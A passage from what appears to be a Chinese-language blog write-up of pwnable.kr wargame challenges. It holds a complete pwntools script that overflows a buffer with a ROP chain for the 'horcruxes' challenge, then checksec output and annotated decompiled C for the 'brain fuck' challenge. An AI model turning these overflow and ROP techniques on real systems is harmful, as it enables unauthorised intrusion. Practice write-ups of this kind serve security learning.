  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>处理了一下溢出，并且使用远程连接，这样随意在虚拟机就能运行：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="n">A</span> <span class="o">=</span> <span class="mh">0x0804129D</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="n">B</span> <span class="o">=</span> <span class="mh">0x080412CF</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl"><span class="n">C</span> <span class="o">=</span> <span class="mh">0x08041301</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="n">D</span> <span class="o">=</span> <span class="mh">0x08041333</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="n">E</span> <span class="o">=</span> <span class="mh">0x08041365</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="n">F</span> <span class="o">=</span> <span class="mh">0x08041397</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl"><span class="n">G</span> <span class="o">=</span> <span class="mh">0x080413C9</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="n">ropme</span> <span class="o">=</span> <span class="mh">0x0804150B</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="n">payload</span> <span class="o">=</span> <span class="sa">b</span><span class="s1">&#39;K&#39;</span> <span class="o">*</span> <span class="mi">120</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">A</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">B</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">C</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">D</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">E</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">F</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">G</span><span class="p">)</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">ropme</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl"><span class="n">sh</span> <span class="o">=</span> <span class="n">ssh</span><span class="p">(</span><span class="s1">&#39;horcruxes&#39;</span><span class="p">,</span> <span class="s1">&#39;pwnable.kr&#39;</span><span class="p">,</span> <span class="n">password</span><span class="o">=</span><span class="s1">&#39;guest&#39;</span><span class="p">,</span> <span class="n">port</span><span class="o">=</span><span class="mi">2222</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="n">io</span> <span class="o">=</span> <span class="n">sh</span><span class="o">.</span><span class="n">remote</span><span class="p">(</span><span class="s1">&#39;0&#39;</span><span class="p">,</span><span class="mi">9032</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;Select Menu:&#39;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;? :&#39;</span><span class="p">,</span> <span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="n">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="mi">7</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">7</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;EXP +&#39;</span><span class="p">,</span><span class="n">drop</span> <span class="o">=</span> <span class="kc">True</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="n">arr</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;)&#39;</span><span class="p">,</span><span class="n">drop</span> <span class="o">=</span> <span class="kc">True</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="n">res</span> <span class="o">=</span> <span class="nb">sum</span><span class="p">(</span><span class="n">arr</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="c1"># 处理溢出</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="n">res</span> <span class="o">=</span> <span class="p">(</span><span class="n">res</span> <span class="o">+</span> <span class="mi">2</span><span class="o">**</span><span class="mi">31</span><span class="p">)</span> <span class="o">%</span> <span class="mi">2</span><span class="o">**</span><span class="mi">32</span> <span class="o">-</span> <span class="mi">2</span><span class="o">**</span><span class="mi">31</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;Select Menu:&#39;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendlineafter</span><span class="p">(</span><span class="sa">b</span><span class="s1">&#39;? :&#39;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">res</span><span class="p">)</span><span class="o">.</span><span class="n">encode</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="nb">print</span><span class="p">(</span><span class="n">io</span><span class="o">.</span><span class="n">recvall</span><span class="p">())</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">close</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl"><span class="n">sh</span><span class="o">.</span><span class="n">close</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<h2 id="rookiss">Rookiss<a class="anchor" href="#rookiss">#</a></h2>
<h3 id="brain-fuck">brain fuck<a class="anchor" href="#brain-fuck">#</a></h3>
<blockquote>
<p>I made a simple brain-fuck language emulation program written in C.<br>
The [ ] commands are not implemented yet. However the rest functionality seems working fine.
Find a bug and exploit it to get a shell.</p>
<p>ssh <a
  href="mailto:brainfuck@pwnable.kr"
  >brainfuck@pwnable.kr</a
>
 -p2222 (pw: guest)</p>
</blockquote>
<p>前一章总共90分，这题就100了，务必拿下！</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-console" data-lang="console"><span class="line"><span class="ln">1</span><span class="cl"><span class="go">brainfuck@ubuntu:~$ checksec brainfuck
</span></span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="go">[*] &#39;/home/brainfuck/brainfuck&#39;
</span></span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="go">    Arch:       i386-32-little
</span></span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="go">    RELRO:      Partial RELRO
</span></span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="go">    Stack:      Canary found
</span></span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="go">    NX:         NX enabled
</span></span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="go">    PIE:        No PIE (0x8048000)
</span></span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="go">    Stripped:   No
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">console</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="kt">size_t</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [esp+28h] [ebp-40Ch]
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="kt">char</span> <span class="n">s</span><span class="p">[</span><span class="mi">1024</span><span class="p">];</span> <span class="c1">// [esp+2Ch] [ebp-408h] BYREF
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">v6</span><span class="p">;</span> <span class="c1">// [esp+42Ch] [ebp-8h]
</span></span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="n">v6</span> <span class="o">=</span> <span class="nf">__readgsdword</span><span class="p">(</span><span class="mh">0x14u</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="n">nullptr</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">  <span class="nf">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="n">nullptr</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">  <span class="n">p</span> <span class="o">=</span> <span class="p">(</span><span class="kt">int</span><span class="p">)</span><span class="o">&amp;</span><span class="n">tape</span><span class="p">;</span> <span class="c1">// tape地址转整型赋给p
</span></span></span><span class="line"><span class="ln">11</span><span class="cl">  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;welcome to brainfuck testing system!!&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">  <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;type some brainfuck instructions except [ ]&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">  <span class="nf">memset</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">s</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">  <span class="nf">fgets</span><span class="p">(</span><span class="n">s</span><span class="p">,</span> <span class="mi">1024</span><span class="p">,</span> <span class="n">stdin</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">  <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;</span> <span class="nf">strlen</span><span class="p">(</span><span class="n">s</span><span class="p">);</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="nf">do_brainfuck</span><span class="p">(</span><span class="n">s</span><span class="p">[</span><span class="n">i</span><span class="p">]);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">do_brainfuck</span><span class="p">(</span><span class="kt">char</span> <span class="n">a1</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">  <span class="kt">int</span> <span class="n">result</span><span class="p">;</span> <span class="c1">// eax
</span></span></span><span class="line"><span class="ln"> 4</span><span class="cl">  <span class="n">_BYTE</span> <span class="o">*</span><span class="n">v2</span><span class="p">;</span> <span class="c1">// ebx
</span></span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">  <span class="n">result</span> <span class="o">=</span> <span class="n">a1</span> <span class="o">-</span> <span class="mi">43</span><span class="p">;</span> <span class="c1">// 没用的赋值
</span></span></span><span class="line"><span class="ln"> 7</span><span class="cl">  <span class="k">switch</span> <span class="p">(</span> <span class="n">a1</span> <span class="p">)</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">  <span class="p">{</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">case</span> <span class="sc">&#39;+&#39;</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">      <span class="n">result</span> <span class="o">=</span> <span class="n">p</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">      <span class="c1">//由于p之前是整型，这里强制转换成字节指针，_BYTE *代表字节类型的指针
</span></span></span><span class="line"><span class="ln">12</span><span class="cl">      <span class="o">++*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">p</span><span class="p">;</span> <span class="c1">//这里解引用了，所以是指向的值自增
</span></span></span><span class="line"><span class="ln">13</span><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="k">case</span> <span class="sc">&#39;,&#39;</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">      <span class="n">v2</span> <span class="o">=</span> <span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">p</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">      <span class="c1">// 从标准输入缓冲区读取「下一个待读取」的字符，并返回它的 ASCII 码（int 类型）
</span></span></span><span class="line"><span class="ln">17</span><span class="cl">      <span class="n">result</span> <span class="o">=</span> <span class="nf">getchar</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">      <span class="o">*</span><span class="n">v2</span> <span class="o">=</span> <span class="n">result</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="k">case</span> <span class="sc">&#39;-&#39;</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">      <span class="n">result</span> <span class="o">=</span> <span class="n">p</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">      <span class="o">--*</span><span class="p">(</span><span class="n">_BYTE</span> <span class="o">*</span><span class="p">)</span><span class="n">p</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="k">case</span> <span class="sc">&#39;.&#39;</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">      <span class="n">result</span> <span class="o">=</span> <span class="nf">putchar</span><span class="p">(</span><span class="o">*</span><span class="p">(</span><span class="kt">char</span> <span class="o">*</span><span class="p">)</span><span class="n">p</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="k">case</span> <span class="sc">&#39;&lt;&#39;</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">      <span class="n">result</span> <span class="o">=</span> <span class="o">--</span><span class="n">p</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">    <span class="k">case</span> <span class="sc">&#39;&gt;&#39;</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">      <span class="n">result</span> <span class="o">=</span> <span class="o">++</span><span class="n">p</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">    <span class="k">case</span> <span class="sc">&#39;[&#39;</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">      <span class="n">result</span> <span class="o">=</span> <span class="nf">puts</span><span class="p">(</span><span class="s">&#34;[ and ] not supported.&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">      <span class="k">break</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">    <span class="k">default</span><span class="o">:</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">      <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">  <span class="p">}</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl">  <span class="k">return</span> <span class="n">result</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="p">}</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">c</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
